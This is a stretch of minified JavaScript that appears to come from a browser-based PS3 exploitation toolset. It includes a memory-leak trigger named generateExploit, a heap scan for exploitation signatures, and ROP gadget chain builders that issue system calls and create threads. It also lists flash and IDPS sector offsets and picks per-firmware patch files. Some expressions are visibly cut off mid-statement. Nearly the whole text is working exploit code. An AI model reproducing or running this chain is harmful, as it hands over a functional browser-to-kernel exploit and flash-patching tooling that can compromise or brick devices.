e&&this.opds.names[e]?this.opds.names[e]:0}},sys_fs={libname:"sys_fs",opds:{nids:{},names:{}},names:{"0x6E681ED":"cellFsAccess","0x24FA3BCC":"cellFsAclRead","0xE44827ED":"cellFsAclWrite","0x7F13FC8C":"cellFsAioCancel","0x9F951810":"cellFsAioFinish","0xDB869F20":"cellFsAioInit","0xC1C507E7":"cellFsAioRead","0x4CEF342E":"cellFsAioWrite","0x3394F037":"cellFsAllocateFileAreaByFdWithInitialData","0x2CF1296B":"cellFsAllocateFileAreaByFdWithoutZeroFill","0x103B8632":"cellFsAllocateFileAreaWithInitialData","0x7A0329A1":"cellFsAllocateFileAreaWithoutZeroFill","0x1EA02E2F":"cellFsArcadeHddSerialNumber","0xE15939C3":"cellFsChangeFileSizeByFdWithoutAllocation","0x606F9F42":"cellFsChangeFileSizeWithoutAllocation","0x99406D0B":"cellFsChmod","0x842E7E06":"cellFsChown","0x2CB51F0D":"cellFsClose","0xFF42DCC3":"cellFsClosedir","0xCB588DBA":"cellFsFGetBlockSize","0x1CAEC657":"cellFsFGetBlockSize2","0x6AE0BA7F":"cellFsFcntl","0xD338A65A":"cellFsFdatasync","0xEF3EFA34":"cellFsFstat","0x967A162B":"cellFsFsync","0xE2939E5":"cellFsFtruncate","0x1A108AB7":"cellFsGetBlockSize","0x4BD5073A":"cellFsGetBlockSize2","0x9B882495":"cellFsGetDirectoryEntries","0xAA3B4BCD":"cellFsGetFreeSize","0x3AAA1BD0":"cellFsLink","0xA397D042":"cellFsLseek","0x1B0B915E":"cellFsLsnGetCDA","0x6C815943":"cellFsLsnGetCDASize","0x1FF82B63":"cellFsLsnLock","0x6A4B95C1":"cellFsLsnRead","0xF0A73832":"cellFsLsnRead2","0x226CD693":"cellFsLsnUnlock","0x14D58C7A":"cellFsMappedAllocate","0x384C65CF":"cellFsMappedFree","0xBA901FE6":"cellFsMkdir","0x718BF5F8":"cellFsOpen","0x18DD4604":"cellFsOpen2","0x3F61245C":"cellFsOpendir","0x4D5FF8E2":"cellFsRead","0xD5B4A14":"cellFsReadWithOffset","0x5C74903D":"cellFsReaddir","0xA01EE33A":"cellFsRegisterConversionCallback","0xF12EECC8":"cellFsRename","0x2796FDF3":"cellFsRmdir","0xB1840B53":"cellFsSdataOpen","0x6D3BB15B":"cellFsSdataOpenByFd","0x445C878F":"cellFsSdataOpenWithVersion","0x2671310":"cellFsSetDefaultContainer","0x91A1BEAA":"cellFsSetDiscReadRetrySetting","0x3140F6E1":"cellFsSetIoBuffer","0x75F16DC5":"cellFsSetIoBufferFromDefaultContainer","0x27800C6B":"cellFsStRead","0xD73938DF":"cellFsStReadFinish","0x190912F6":"cellFsStReadGetCurrentAddr","0xBD273A88":"cellFsStReadGetRegid","0xB3AFEE8B":"cellFsStReadGetRingBuf","0xCF34969C":"cellFsStReadGetStatus","0x2664C8AE":"cellFsStReadInit","0x81F33783":"cellFsStReadPutCurrentAddr","0x8DF28FF9":"cellFsStReadStart","0xF8E5D9A0":"cellFsStReadStop","0x8F71C5B2":"cellFsStReadWait","0x866F6AEC":"cellFsStReadWaitCallback","0x7DE6DCED":"cellFsStat","0x8DCFF2CD":"cellFsSymbolicLink","0xC9DC3AC5":"cellFsTruncate","0x3A1C8393":"cellFsTruncate2","0x7F4677A8":"cellFsUnlink","0xF94BAA80":"cellFsUnregisterL10nCallbacks","0xBEF554A4":"cellFsUtime","0x37907F9F":"cellFsWidgetStat","0xECDCF2AB":"cellFsWrite","0x8CB722D5":"cellFsWriteWithOffset"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sdk={libname:"sdk",opds:{nids:{},names:{}},names:{"0xC7781115":"cellCryptoPuSha256Hash","0x5FAFE92B":"cellCryptoPuSha1Hash"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},helper={gtemp_addr:2398617600,vtemp_addr:0,vmode:"CEX",kmode:"CEX",ktype:"OFW",tversion:"1.2",tbuild:"002",fp9disabled_to:0,timeout:!1,timeout2:!1,timeout_init:!0,timeout_hextable:!1,timeout_log:!1,ppc_trap_instruction:2145386504,sp_exit:2413340112,dbyte41:16705,dbyteFF:65535,qbyte41:1094795585,qbyteFF:4294967295,mbytes:1048576,kbytes:1024,sFF32:"FFFFFFFF",sFF64:"FFFFFFFFFFFFFFFF",snull32:"00000000",snull64:"0000000000000000",gadgets_box:{},vshgadgets_box:{},vshdata_storage:6815744,sound_ok:0,sound_ng:0,system_plugin:0,xmb_plugin:0,edy_plugin:0,osk_plugin:0,download_plugin:0,xmm0_interface:0,webbrowser_plugin:0,explore_plugin:0,download_plugin_interface:0,explore_plugin_interface:0,webbrowser_plugin_interface:0,sc_fs_open:801,sc_fs_read:802,sc_fs_lseek:818,sc_fs_write:803,sc_fs_unlink:814,sc_fs_close:804,sc_fs_stat:808,sc_fs_mount:837,sc_fs_unmount:838,sc_fs_opendir:805,sc_fs_readdir:806,sc_fs_closedir:807,sc_fs_fcntl:817,sc_fs_chmod:834,sc_fs_disk_free:840,sc_fs_get_mount_info_size:841,sc_fs_get_mount_info:842,sc_ss_update_manager:863,sc_ss_ai_manager:867,sc_dbg_consoletype:985,fs_flag_readonly:0,fs_flag_create:577,fs_flag_create_rw:578,fs_flag_create_append:1089,fs_flag_create_append_rw:1090,fs_mode:438,sc_sso:600,sc_ssr:602,sc_ssw:603,sc_ssgdi:609,sc_ssc:601,sc_ssgcf:874,max_buffer_size:67108864,start_write_sector_nand:1024,start_write_sector_nor:1536,flash_flag:"100000000000000",step_sector:2048,sector_size:512,idps_offset:112,idps_sector_nor:376,idps_sector_nand:516,patchfile_size:734e4,rospatch_size:7340032,idps_nor_sigoffset:192624,idps_nand_sigoffset:264304,sem_attr_fifo:"000000020000020000000000000000000000000000000000726F7073656D0000",lwmtx_attr_fifo:"00000002000000206D74785F666D6D00",mtx_attr_fifo:"0000000100000020000002000000200000000000000000000000000000000000726F706D74780000",nofsm_hash:"",nofsm_url:"",minver:"0.00",sysinfo:{txt:"",done:!1},patch_ros_fragment_start:"000000000000000000000000000000000000000000E000000000000000000000000000000000000000000000006FFFE0",patch_ros_fragment_end1:"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF",patch_ros_fragment_end2:"00000000000000000000000000000000",ioctl_flag:4026561295,ioctl_flag2:2155901711,stack_size:8192,ppu_thread_create_joinable:1,priority:3e3,stat_size_offset:40,sc_sm_ring_buzzer:392,sys_process_getpid:1,sys_process_getppid:18,sys_net_accept:700,sys_net_bind:701,sys_net_connect:702,sys_net_getpeername:703,sys_net_getsockname:704,sys_net_getsockopt:705,sys_net_listen:706,sys_net_recvfrom:707,sys_net_recvmsg:708,sys_net_sendto:710,sys_net_setsockopt:711,sys_net_poll:715,sys_net_select:716,sys_net_socket:713,sys_net_close:714,sys_net_control:723,sys_net_open_dump:717,sys_net_close_dump:719,sys_net_ioctl:724,sys_net_sendmsg:709,sys_ppu_thread_get_stackinfo:49,sys_ppu_thread_create:52,sys_ppu_thread_stop:50,sys_ppu_thread_restart:51,sys_ppu_thread_getprio:48,sys_ppu_thread_setprio:47,sys_ppu_thread_start:53,sys_ppu_thread_rename:56,sys_ppu_thread_join:44,sys_ppu_thread_exit:41,sys_mutex_create:100,sys_mutex_lock:102,sys_mutex_trylock:103,sys_mutex_unlock:104,sys_mutex_destroy:101,sys_lwmutex_create:95,sys_lwmutex_lock:97,sys_lwmutex_unlock:98,sys_lwmutex_trylock:99,sys_lwmutex_destroy:96,sys_cond_create:105,sys_cond_wait:107,sys_cond_signal:108,sys_cond_signal_to:110,sys_cond_destroy:106,sys_sem_create:90,sys_sem_close:91,sys_sem_wait:92,sys_sem_trywait:93,sys_sem_post:94,sys_sem_getvalue:114,sys_dbg_get_seminfo:947,sys_event_queue_create:128,sys_event_queue_destroy:129,sys_event_queue_receive:130,sys_event_queue_tryreceive:131,sys_event_queue_drain:133,sys_event_port_create:134,sys_event_port_destroy:135,sys_event_port_connect_local:136,sys_event_port_disconnect:137,sys_event_port_send:138,sys_event_flag_create:82,sys_event_flag_destroy:83,sys_event_flag_get:139,sys_event_flag_set:87,sys_event_flag_wait:85,sys_event_flag_trywait:86,sys_event_flag_clear:118,sys_memory_container_get_size:343,sys_memory_get_page_attribute:351,sys_memory_allocate_from_container:350,sys_memory_free:349,sys_sm_get_get_system_info:387,sys_sm_request_error_log:390,sys_sm_request_be_count:391,sys_sm_get_hw_config:393,sys_sm_request_scversion:394,sys_prx_get_module_list:494,sys_prx_get_module_info:495,sys_config_open:516,sys_config_close:517,sys_config_register_service:521,sys_timer_usleep:141,sys_timer_sleep:142,sc_storage:0,sock_control_flag:2148007941,browser_container:1056964612,dflash_name:"CELL_FS_IOS:BUILTIN_FLSH1",fs_fat:"CELL_FS_FAT",fm_usermode:0,me_usermode:0,ba_offset:0,AF_INET:2,SOCK_DGRAM:2,comp:{node:{},ret:[],fd:-1,bf:0,sfread:"",done:!1},mboard_table:{"Cyt2.2":"TMU-510","Cyt3.1":"TMU-520","Cyt3.2":"TMU-520",Cok14:"COK-001",CokB10:"COK-002",CokC12:"SEM-001",CokD10:"DIA-001",CokE10:"DIA-002",Deb01:"DEB-001",CokF10:"VER-001",CokG11:"DYN-001",CokH11:"SUR-001",CokJ13:"JTP-001",CokJ20:"JSD-001",CokK10:"KTE-001",CokM20:"MSX-001(NOR)",CokM30:"MPX-001(eMMC)",CokN10:"NPX-001(NOR)",CokP40:"PPX-001(eMMC)",CokP10:"PQX-001(NOR)",CokP30:"PQX-001(eMMC)",CokR40:"REX-001(eMMC)"},sha256_loadedros:"",rosBuffer:{offset:0,size:0},savePatchData:null,loadPatchData:null,existPatchData:null,deletePatchData:null,fm_tmpfile_path:"/dev_hdd0/tmp/bg_smtmp.bin",wt_pool:[],worker:{fmm:null,udp:null,fe:null},femplist:null,xregistry:null,sm:null,bc:null,sp:null,sctx:null,mplist:null,profileId:null,patches:null,cookies:{},swfobject:{},fm_functions:{},heap:{},stack:{},buffer:{},memory:{},rop:{},swf:{},error:function(e){throw new Error(e)}};function fromIEEE754(e,t,r){for(var s,o=[],l=e.length;l;l-=1){s=e[l-1];for(var n=8;n;n-=1)o.push(s%2?1:0),s>>=1}o.reverse();var i=o.join(""),a=(1<0?p*Math.pow(2,c-a)*(1+d/Math.pow(2,r)):0!==d?p*Math.pow(2,-(a-1))*(d/Math.pow(2,r)):0*p).noExponents()}function generateIEEE754(e,t){return fromIEEE754(new Array(e>>24&255,e>>16&255,e>>8&255,255&e,t>>24&255,t>>16&255,t>>8&255,255&t),11,52)}function generateExploit(e,t){return generateIEEE754(e,(e<<32|(t>>1)-1)-e)}function findSecBAOffset(e){var t=document.getElementById("explt");t.style.src="local("+generateExploit(e-1024,2176)+")";var r=t.style.src.substr(6,2176).toAscii(),s=e-1020,o=s+r.indexOf("0100000001000000")/2,l=s+r.indexOf("0000100000000012")/2,n=s+r.indexOf("0000100000000014")/2;return o=0){helper.ba_offset=jsleak32(t+(l+16)/2),Logger.debug("Found signature at 0x"+(t+l/2).toString(16));var a=jsleak32(t+l/2-4);return a>65536&&a<268435456&&(n=a-215820,i=jsleak32(jsleak32(a))-3940876,Logger.info("Found FP9 text segment 0x"+i.toString(16)),Logger.info("Found FP9 data segment 0x"+n.toString(16)),Logger.info("Found signature at 0x"+(t+l/2).toString(16)),Logger.info("Found BA offset at 0x"+helper.ba_offset.toString(16))),{sig_offset:t+l/2,ba_data_offset:helper.ba_offset,fp9text_offset:i,fp9data_offset:n}}return 0}var sig_search=function(e,t,r,s,o){r=r||32,s=s||2408513536,o=o||271;for(var l=0,n=0;0===l&&n4352&&Logger.info("BA signature search base 0x"+(s-65536*n+t).toString(16)+" on range 0x"+r.toString(16)),l=findJsVariableOffset(e,s-65536*n+t,r),n++;return l};function sig_scan(e){var t=0,r=0,s=0,o=10,l=4,n=0,i=toast("Preparing to scan RAM for exploitation target signature, please wait...","warning",300);Logger.info("Scanning heap range for primary target signature"),t=setTimeout(function(){!function a(){return s++,r=sig_search(e,4096*o,4352),o--,r&&0!==r?(t>0&&(clearTimeout(t),t=0),$().toastmessage("removeToast",i),Logger.info("Exploitation target signature found"),void setTimeout(function(){document.getElementById("FP9Test").finalizeSearch(r)},500)):o1?(Logger.info("BA primary target signature not found in browser heap range"),ps3chk(!1),document.getElementById("FP9Test").finalizeSearch({sig_offset:0,ba_data_offset:0}),void $().toastmessage("removeToast",i)):(o0&&(Logger.info("Restoring UDP Port user setting"),s.val(e)),helper.sm=new sysmem,helper.wt_pool=["BGTOOLSET_WKR_UDP","BGTOOLSET_WKR_FMM","BGTOOLSET_WKR_FE"],clearThreadSession(!0);var o=$("#"+Logger.iptnet());s=$("#"+Logger.tbport()),e=!1;function l(){o.on("click",function(){disable_GUI(),!0===this.checked?setTimeout(function(){var e=s.val(),t=parseInt(e);t.toString()!==e&&(Logger.error("Port "+e+" is invalid.\n Setting UDP port to default 18194"),e="18194",s.val(e),t=18194),t>0&&t<65536&&(helper.bc||(helper.bc=new UDPBroadcaster),Logger.info("Debug UDP Broadcasting on port "+e),0===helper.bc.open(e)&&(helper.cookies.set("udp_conn",e),setTimeout(function(){enable_GUI(),s.removeClass("ui-state-disabled").addClass("ui-state-disabled")},150)))},0):(setTimeout(function(){helper.bc&&helper.bc.close(),Logger.info("Debug UDP Broadcasting closed"),s.removeClass("ui-state-disabled"),enable_GUI()},100),this.checked=!1)}),o.parent().children("label").removeClass("ui-state-disabled")}helper.cookies.get("udp_socket")?setTimeout(function(){var t=helper.cookies.getJSON("udp_socket");s.val(t.port),helper.bc=new UDPBroadcaster(t),helper.bc.open(),o.parent().children("label").removeClass("ui-state-disabled"),o.click(),o.parent().children("label").removeClass("ui-state-disabled").addClass("ui-state-disabled"),e=!0,s.removeClass("ui-state-disabled").addClass("ui-state-disabled"),l(),Logger.info("UDP Port "+t.port+" reacquired")},500):(helper.bc=new UDPBroadcaster,l()),setTimeout(function(){var o=helper.heap.store(8),l=helper.heap.store();helper.kmode=function(){helper.rop.run(syscall32(helper.sc_dbg_consoletype,o));var e=helper.memory.upeek32(o+4);return 1===e?"CEX":2===e?"DEX":3===e?"DECR":"Unknown"}();var n=function(){var e=helper.rop.rrun(syscall(6,UInt64("8000000000000000")));Logger.debug("peek_sc6 ret: 0x"+e.toString(16)),helper.rop.run(syscall32(8,28672,l));var t=helper.memory.upeek32(l);Logger.debug("sc8_peekval: 0x"+t.toString(16));var r=helper.rop.rrun(syscall32(8,4919));Logger.debug("peek_sc_hen ret: 0x"+r.toString(16));var s=helper.rop.rrun(syscall32(8,32767));return Logger.debug("peek_sc1022 ret: 0x"+s.toString(16)),1638===s?"MAMBA":4919===r?"HEN":t>0?"COBRA":0===e?"CFW":"No"}();switch(helper.ktype="No"!==n,r){case 7362064:helper.nofsm_hash="4.80"===t?"CEX"===helper.kmode?"BA76A94AD77E456A40A7C0C6349F267AB2D676B95A345A76578EFCCB4973442D":"":"4.81"===t&&"CEX"===helper.kmode?"85BF81577D8B2AE372D567121AF7C41BADC279B486964D9EAAE372E0595F4FF4":"",helper.nofsm_url="4.80"===t?"CEX"===helper.kmode?"nofsm_patch_480.bin":"":"4.81"===t&&"CEX"===helper.kmode?"nofsm_patch_481.bin":"";break;case 7296288:helper.nofsm_hash="4.80"===t?"BA76A94AD77E456A40A7C0C6349F267AB2D676B95A345A76578EFCCB4973442D":"4.81"===t?"85BF81577D8B2AE372D567121AF7C41BADC279B486964D9EAAE372E0595F4FF4":"",helper.nofsm_url="4.80"===t?"nofsm_patch_480.bin":"4.81"===t?"nofsm_patch_481.bin":"";break;case 7362112:helper.nofsm_hash="4.82"===t&&"CEX"===helper.kmode?"1639F41F6D1E9658F22EA7ED1E961E5A4DE3640A19E945A8B0C9CC84A90F558A":"",helper.nofsm_url="4.82"===t&&"CEX"===helper.kmode?"nofsm_patch_482.bin":"";break;case 7362120:helper.nofsm_hash="4.84"===t&&"CEX"===helper.kmode?"597D32AD3CEA591003966B3C077400FD3903AB488705052CBB3F60AAA0837D21":"",helper.nofsm_url="4.84"===t&&"CEX"===helper.kmode?"nofsm_patch_484.bin":"";break;case 7296336:helper.nofsm_hash="4.82"===t?"1639F41F6D1E9658F22EA7ED1E961E5A4DE3640A19E945A8B0C9CC84A90F558A":"",helper.nofsm_url="4.82"===t?"nofsm_patch_482.bin":"";break;case 7296344:helper.nofsm_hash="4.83"===t?"DC5213CAAF7B85D9B4D47BD3E015711BF4C4EA5F899DC85CD31CC63176B24CE2":"4.84"===t?"597D32AD3CEA591003966B3C077400FD3903AB488705052CBB3F60AAA0837D21":"4.85"===t?"A17D20F3F5E0DCD9FD0F3F34F413550F751AE2005075A737969854BAE549C545":"4.86"===t?"B5B7D07D0432D1876C9DD19D780A80AF67CF9BA82FCD09ECBEDF236F30C3C44A":"4.87"===t?"25128F851C0B89CF4D830F0A4917C1C971FA2489B50F4084ED77FB429AB7E740":"4.88"===t?"EAE06949E2DEA732D13CF7BEF9C0A706EC71B5032410D277AE1554E89CE9D2ED":"4.89"===t?"7ECCF29015432182531CCF50EBAABCEA3866DD25320200CBD9440BA31C0C35ED":"",helper.nofsm_url="4.83"===t?"nofsm_patch_483.bin":"4.84"===t?"nofsm_patch_484.bin":"4.85"===t?"nofsm_patch_485.bin":"4.86"===t?"nofsm_patch_486.bin":"4.87"===t?"nofsm_patch_487.bin":"4.88"===t?"nofsm_patch_488.bin":"4.89"===t?"nofsm_patch_489.bin":""}helper.sp=new soundPlayer,helper.heap.free([o,l]),$("#ps3details").html("
PS3 Firmware: "+t+"
VSH mode: "+helper.vmode+"
Kernel mode: "+helper.kmode+"
Custom Syscalls: "+n+"
"),setTimeout(function(){Logger.info("PS3 Firmware: "+t+" VSH mode: "+helper.vmode+" Kernel mode: "+helper.kmode),helper.sm.ready()?(toast("Hooking up vsh exports, please wait..","notice",5),setTimeout(function(){var t=new Date;Logger.info("Processed "+fillNIDfunc_OPDs([allocator,cellHttp,cellHttpUtil,cellRtc,netctl_main,pngdec_ppuonly,sysConsoleId,sysBdMediaId,sysPrxForUser,sys_fs,sys_fs_ps2disc,sys_io,sys_net,stdc,x3]).toString()+" vsh exports libraries "+getElapsedTime(t)),createDialogs(),e||s.removeClass("ui-state-disabled"),helper.rop.run(ringBuzzer(3)),toast("Xploit Initialization Complete
Toolset ready","success",5),setTimeout(function(){infoDialog(jQuery("#donations").html(),"Hosting Renewal Deadline Approaching",function(){$("#tabs").tabs("enable"),$("#tabs").tabs("option","disabled",[3])})},500)},750)):(helper.rop.run(ringBuzzer(1)),toast("Xploit Initialization completed with errors
Check the logs","warning",8))},25)},25)},2500)):(updateErrorDetails("PS3 Firmware: "+t+" XPLOIT ERROR","PS3 Firmware: "+t+" XPLOIT ERROR"),toast("An error occurred during the exploitation process","error",8)):(updateErrorDetails("PS3 Firmware version: "+t+" mismatch","PS3 Firmware version vs vsh.self version: mismatch detected"),Logger.warn("If you are using a firmware version spoofer, you should disable it (temporarily) before using the PS3 Toolset."),toast("The firmware on this console is not supported. This problem might be caused by firmware version spoofing.","error",8))}function dummy_frame(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget15_addr)+fill(192,helper.dbyte41)+hexdw2bin(e)}function set_r30_r31(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget5_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(t)}function set_r3to11(e,t,r,s,o,l,n,i,a,p,c){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget4_addr)+fill(80,helper.dbyte41)+fill(12,helper.dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(l)+hexw2bin(o)+hexw2bin(s)+hexw2bin(r)+hexw2bin(t)+hexw2bin(e)+fill(16,helper.dbyte41)+hexw2bin(n)+fill(32,helper.dbyte41)+hexdw2bin(p)+fill(8,helper.dbyte41)+hexdw2bin(c)}function move_r29_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget7_addr)+fill(112,helper.dbyte41)+hexdw2bin(e)}function move_r31_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget6_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r3_into_r4(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r4_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr+4)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r6_into_r3(e,t,r,s,o){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget18_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(t)+hexdw2bin(r)+hexdw2bin(s)+hexdw2bin(o)}function move_r7_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget24_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r10_into_r3(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget21_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(t)}function set_r29_r31(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+36)+fill(128,helper.dbyte41)+hexdw2bin(e)+fill(8,helper.dbyte41)+hexdw2bin(t)}function set_r9_r10_r11_words(e,t,r,s,o){return set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr)+fill(92,helper.dbyte41)+hexw2bin(e)+hexw2bin(r)+hexw2bin(t)+fill(24,helper.dbyte41)+hexdw2bin(s)+fill(8,helper.dbyte41)+hexdw2bin(o)}function move_r9_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget25_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+4)+fill(96,helper.dbyte41)+hexw2bin(e)+fill(28,helper.dbyte41)+hexdw2bin(null)+fill(8,helper.dbyte41)+hexdw2bin(null)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r8_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget22_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r5_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget23_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function store_r3_dword(e,t){return set_r9_r10_r11_words(0,e,0)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget20_addr)+fill(96,helper.dbyte41)+hexdw2bin(t)}function store_r4_dword(e,t){return move_r4_into_r3()+store_r3_dword(e,t)}function store_r5_dword(e,t){return move_r5_into_r3()+store_r3_dword(e,t)}function store_r6_dword(e,t){return move_r6_into_r3()+store_r3_dword(e,t)}function store_r7_dword(e,t){return move_r7_into_r3()+store_r3_dword(e,t)}function store_r8_dword(e,t){return move_r8_into_r3()+store_r3_dword(e,t)}function store_r9_dword(e,t){return move_r9_into_r3()+store_r3_dword(e,t)}function store_r10_dword(e,t){return move_r10_into_r3()+store_r3_dword(e,t)}function restore_toc(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget8_addr)+fill(16,0)+hexdw2bin(e)+fill(64,helper.dbyte41)}function store_r3_word(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr+4)+fill(96,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr)+fill(96,helper.dbyte41)+hexdw2bin(t)}function syscall(e,t,r,s,o,l,n,i,a,p,c,d,u,h,g,f){return set_r30_r31()+set_r3to11(0,0,s,o,l,n,i,a,e)+set_r30_r31(t,r)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget16_addr)+fill(128,helper.dbyte41)+hexdw2bin(p)+hexdw2bin(c)+hexdw2bin(d)+hexdw2bin(u)+hexdw2bin(h)+hexdw2bin(g)+hexdw2bin(f)}function syscall32(e,t,r,s,o,l,n,i,a){return set_r30_r31()+set_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget9_addr)+fill(104,helper.dbyte41)}function call_subByOpd(e,t,r,s,o,l,n,i,a){return set_r30_r31()+set_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function call_sub(e,t,r,s,o,l,n,i,a,p){var c=helper.heap.store(e.toString32()+t.toString32());return helper.heap.queue(c),call_subByOpd(c,r,s,o,l,n,i,a,p)}function callsub(e,t,r,s,o,l,n,i,a,p,c,d,u,h){return d<96&&helper.error("callsub cannot use the gadget at 0x"+e.toString(16)+" because its frame size is < 0x"+96..toString(16)),restore_toc(t)+set_r30_r31()+set_r3to11(r,s,o,l,n,i,a,p,c)+fill(16,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.fptoc_addr)+fill(d-56,0)+hexdw2bin(h)}function call(e,t,r,s,o,l,n,i,a){return helper.rop.rrun(call_subByOpd(e,t,r,s,o,l,n,i,a))}function callf(e,t,r,s,o,l,n,i,a){return call(helper.memory.upeek32(helper.gadgets_box.fpdbase+e),t,r,s,o,l,n,i,a)}function get_stat(e){var t=helper.heap.store(128);return helper.heap.queue(t),0!==stdc.stat(e,t)?(console.log("stat failed: errno "+stdc.export_44115dd0()),0):t}function fsitem_exists(e){var t=helper.heap.store(e,!0),r=helper.heap.store(128),s=stdc.stat(t,r);return helper.heap.free([t,r]),0===s}function fsitem_getsize(e){var t=helper.heap.store(128),r=helper.heap.store(e,!0),s=helper.rop.rrun(syscall32(helper.sc_fs_stat,r,t)),o=helper.memory.upeek32(t+helper.stat_size_offset);return o=o>=2147483648?0:o,helper.heap.free([t,r]),0!==s?(Logger.error("fsitem_getsize stat error: 0x"+s),-1):o}function getSHA256hash(e,t){var r=helper.heap.store(32),s=sdk.cellCryptoPuSha256Hash(r,e,t);console.log("getSHA256hash: "+s);var o=helper.memory.upeeks(r,32,!1);return helper.heap.free([r]),o.toUpperCase()}function getSHA1hash(e,t){var r=helper.heap.store(20),s=(sdk.cellCryptoPuSha1Hash(r,e,t),helper.memory.upeeks(r,20,!1));return helper.heap.free([r]),s}function makeDir(e){var t=helper.heap.store(e,!0),r=stdc.mkdir(t);return helper.heap.free([e]),r}function removeDir(e){var t=helper.heap.store(e,!0),r=stdc.rmdir(t);return helper.heap.free([e]),r}function deleteFile(e){var t=helper.heap.store(e,!0),r=stdc.unlink(t);return helper.heap.free([e]),r}function moveFile(e,t){var r=copyFile(e,t);if(0===r){var s=helper.heap.store(e,!0);r=stdc.unlink(s),helper.heap.free([e])}return r}function copyFile(e,t,r,s){var o=new fileObject(e),l=new fileObject(t,helper.fs_flag_create_append_rw),n=-1,i=-1;function a(){n=o.close(),i=l.close(),0===n&&0===i?(Logger.info("copyFile: Files closed successfully"),0):0!==n?Logger.error("copyFile: Closing Error 0x"+n.toString(16)+" on source file "+e):Logger.error("copyFile: Closing Error 0x"+i.toString(16)+" on destination file "+t),r&&s&&$.Deferred().done(r).resolve(s)}function p(){s=toast("Copying file","warning",300);var r=helper.swf.getMaxAvailableBufferAllocSize();if(o.size>r){for(var p=Math.floor(o.size/r),c=o.size-p*r,d=0;d0?(Logger.warn("copyFile: Destination file already exists "+t),confirmDialog("If you continue, "+t+" will be overwritten","Confirm",p,null,a,null),0):(p(),0)}function createFile(e){var t=new fileObject(e),r=-1;return t.size<0&&(0===(r=t.open(helper.fs_flag_create))||t.fd>0)&&(r=t.close()),r}function prep_threading(){var e=helper.heap.store(helper.gadgets_box.ugadget12_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32()),t=helper.heap.store(helper.gadgets_box.ugadget13_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32());return{opd1:e,opd2:t,opd3:helper.heap.store(t.toString32())}}function createThread(e,t,r,s,o){var l=helper.heap.store(helper.gadgets_box.ugadget12_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32()),n=helper.heap.store(helper.gadgets_box.ugadget13_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32()),i=helper.heap.store(n.toString32());helper.heap.queue([l,n,i]),e=(e=dummy_frame()+e+syscall32(helper.sys_ppu_thread_exit,0)).slice(0,80)+helper.gadgets_box.fptoc_addr.toString64()+e.slice(288,616)+l.toString32()+e.slice(624);var a=helper.stack.store(e),p=e.length/2,c=helper.heap.store((a+128).toString32()),d=helper.heap.store(r,!0),u=helper.heap.store(8);helper.heap.queue([c,d,u]),helper.rop.run(syscall32(helper.sys_ppu_thread_create,u,i,c,0,s,o,t,d));var h=helper.memory.upeek32(u+4);return 